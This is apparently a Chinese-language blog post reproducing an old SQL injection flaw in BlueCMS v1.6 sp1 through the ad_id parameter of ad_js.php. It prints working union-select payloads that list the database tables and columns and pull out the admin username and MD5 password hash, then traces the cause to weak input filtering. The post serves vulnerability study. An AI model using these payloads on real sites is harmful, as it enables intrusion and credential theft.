BlueCMS v1.6 sp1 漏洞复现
很早的一个漏洞了,突然发现就来复现一下,先看一下复现过程
注入点在这里,union select 后面跟参数的时候,在源码的回显里,1-6会报错
到7以及以后都是正常的,那么我们从7的数字上面构造注入
查到数据库的名字
相同的方法继续注入,就什么都有了
列一下payload和数据
ad_js.php?ad_id=1 union select 1,2,3,4,5,6,group_concat(table_name) from information_schema.tables where table_schema=database()
——>>>
document.write("blue_ad,blue_ad_phone,blue_admin,blue_admin_log,blue_ann,blue_ann_cat,blue_arc_cat,blue_area,blue_article,blue_attachment,blue_buy_record,blue_card_order,blue_card_type,blue_category,blue_comment,blue_config,blue_flash_image,blue_guest_book,blue_ipbanned,blue_link,blue_model,blue_navigate,blue_pay,blue_post,blue_post_att,blue_post_pic,blue_service,blue_task,blue_user");
ad_id=1 union select 1,2,3,4,5,6,GROUP_CONCAT(column_name) from information_schema.columns where table_name=0x626c75655f61646d696e
——>>>document.write("admin_id,admin_name,email,pwd,purview,add_time,last_login_time,last_login_ip,admin_id,admin_name,email,pwd,purview,add_time,last_login_time,last_login_ip");
ad_id=1 union select 1,2,3,4,5,6,GROUP_CONCAT(admin_name,0x3a,pwd) FROM blue_admin
——>>>
document.write("root:63a9f0ea7bb98050796b649e85481845");
这样,管理员的账号和密码的md5就爆出来了
现在来看一下漏洞形成的原因
用seay的代码审计系统审计一下源码
这个ad_js.php中的过滤只是去掉了空格和换行,可以直接带入查询,就构成了注入